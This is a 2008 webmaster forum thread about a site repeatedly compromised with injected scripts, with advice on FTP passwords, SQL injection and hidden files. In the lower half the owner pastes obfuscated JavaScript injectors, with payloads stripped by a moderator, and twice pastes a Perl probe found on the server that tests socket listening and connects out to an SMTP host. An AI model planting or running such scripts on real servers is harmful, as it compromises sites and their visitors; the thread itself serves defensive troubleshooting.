Forum Moderators: phranque
I just edit it out, no problem.
I'm getting tired of this.
My ISP says their servers are secure. They use linux on their servers. They say the problem is on my side.
I don't have any well known forums and such.
How is this done and what can I do?
your host may well be correct when they say no one can access your server now, but if they script is already there it doesn't matter.
have a look around for a script which you don't recognise.
1) If the compromised page is a static page, uploaded by your via a FTP client, then this issue could be caused by someone who has guessed your password and then have gained access to your site via FTP.
2) This issue could also be caused by someone who have gained access to edit your page via a CMS or some administration page of yours. Change your password and/or your login system.
3) Otherwise your host could have security issues on their server/servers. In that case I would change host if they don't seem willing to do anything about it.
I do have some admin pages to admin my own scripts, but only I now where they are and how they are named, and I'm not allowed to alter files other than via FTP, anyway.
What about javascript injections?
these people work by doing the same thing to hundreds and thousands of sites. it's a fire and forget thing - they stick the script on your server and off they go, onto their next victim.
start up your ftp program and have a look around. presumably your ftp program lets you look at all the directories and files visually.
you need to look for some unfamiliar lines in a .htaccess file, or something in the cgi-bin, or a script above your root folder. you need to check the whole lot.
bear in mind that the file may not be visible so you will have to make it show - sometimes they start the filename with a dot which remains hidden on some people's set-ups.
In this case, you should be moving your site to a different server and updating any scripts you use. Are you running any forum, blog or similar scripts on your site, or is it static HTML?
Create a new user in the DB with read-only access, then update the connection strings in the asp pages to use that account.
The above should stop it from happening.
FTP is not so secure (actually it is your passwords, not FTP). If someone performed a dictionary attack on your FTP login, they may have gotten in. And, if its the same sql injection attack that is going around, its a pretty nasty payload for the visitor. They end up getting redirected through a .js file to a page on some obscure domain that has a bunch of <iframes> that start executing various scripts.
At the top:
);}function D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA)
{function C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;
return D83D6CE95B0A38CD6F;}
var D71C351C9A9105908A5D4D9624954="";
for(CEDB124A2EA9FE61EB10A584FE0E8=0;
CEDB124A2EA9FE61EB10A584FE0E8<D6242D36DFD76213ED900E11FDA
.length;CEDB124A2EA9FE61EB10A584FE0E8+=C56A17251C947C7EF())
{D71C351C9A9105908A5
D4D9624954+=(String.fromCharCode(removed
.substr(removed()))));}
document.write(removed]");
</script>
At the bottom:
<script language="JavaScript">function nfca(gvjc){return String.fromCharCode(gvjc);}
var vgew="removed";
var nxcp="";for(xfzf=0;xfzf<vgew.length;xfzf+=3)
{nxcp+=nfca(vgew[xfzf]+''+vgew[xfzf+1]+''
+vgew[xfzf+2]);}document.write(nxcp);</script>
[edited by: tedster at 11:24 pm (utc) on June 1, 2008]
[edit reason] fix side scroll; protect our visitors [/edit]
presumably they place the <script> tag right before the closing </body> tag, so you just need to open a comment before it, and close it after the </html> tag. (don't close it before the </body> tag, because the script will come after it.)
this will mean that both the closing body and html tags are commented out as well, but the page should still display all right.
it's just a temporary fix whilst you find the real culprit.
I had to tinker with antivirus just to look at the source code, and I wouldn't advise anyone play with that js unless they know what they're doing!
Does the script give any clues as to other areas of my server I should be checking?
#/usr/bin/perl -w
$¦ = 1;
print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};
print "System info\n";
print "-----------\n\n";
print "$^O";
print "\n", `uname -a` if $^O !~ /win/i;
print "\n\n";
print "Perl modules\n";
print "------------\n\n";
print "strict .......................... ";
unless (eval ("use strict; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nSys::Hostname ................... ";
unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nPOSIX ........................... ";
unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nErrno ........................... ";
unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nIO::Socket ...................... ";
unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); print "Ok"; }
print "\nIO::Select ...................... ";
unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { print "Ok"; }
print "\n\n";
print "Server test\n";
print "-----------\n\n";
my $s = IO:Socket:INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
unless ($s) { print "Error"; } else { close $s; print "Ok"; }
print "\n\n";
print "Client test\n";
print "-----------\n\n";
my $r = (gethostbyname "smtp.mail.ru")[4];
unless ($r) { print "Error > Can't resolve hostname"; exit; }
$s = IO:Socket:INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($s) { print "Error > Can't create socket > $!"; exit; }
unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
$r = <$s>; close $s;
if (length $r) { print "Ok\n$r"; } else { print "Error > Can't read response"; }
Does the script give any clues as to other areas of my server I should be checking?
#/usr/bin/perl -w
$¦ = 1;
print "Content-type: text/plain; charset=windows-1251\n\n" if $ENV{HTTP_USER_AGENT};
print "System info\n";
print "-----------\n\n";
print "$^O";
print "\n", `uname -a` if $^O !~ /win/i;
print "\n\n";
print "Perl modules\n";
print "------------\n\n";
print "strict .......................... ";
unless (eval ("use strict; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nSys::Hostname ................... ";
unless (eval ("use Sys::Hostname; return 1;")) { print "Error"; } else { print "Ok"; }
print "\nPOSIX ........................... ";
unless (eval ("use POSIX qw(setsid); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nErrno ........................... ";
unless (eval ("use Errno qw(EINPROGRESS); return 1;")) { print "Error"; } else { print "Ok"; }
print "\nIO::Socket ...................... ";
unless (eval ("use IO::Socket qw(:DEFAULT :crlf); return 1;")) { print "Error"; } else { use IO::Socket qw(:DEFAULT :crlf); print "Ok"; }
print "\nIO::Select ...................... ";
unless (eval ("use IO::Select; return 1;")) { print "Error"; } else { print "Ok"; }
print "\n\n";
print "Server test\n";
print "-----------\n\n";
my $s = IO:Socket:INET->new(Proto => "tcp", LocalPort => 36000, Listen => SOMAXCONN, Reuse => 1);
unless ($s) { print "Error"; } else { close $s; print "Ok"; }
print "\n\n";
print "Client test\n";
print "-----------\n\n";
my $r = (gethostbyname "smtp.mail.ru")[4];
unless ($r) { print "Error > Can't resolve hostname"; exit; }
$s = IO:Socket:INET->new(Proto => "tcp", Type => SOCK_STREAM);
unless ($s) { print "Error > Can't create socket > $!"; exit; }
unless ($s->connect(pack ("Sna4x8", 2, 25, $r))) { close $s; print "Error > Can't connect > $!"; exit; }
$r = <$s>; close $s;
if (length $r) { print "Ok\n$r"; } else { print "Error > Can't read response"; }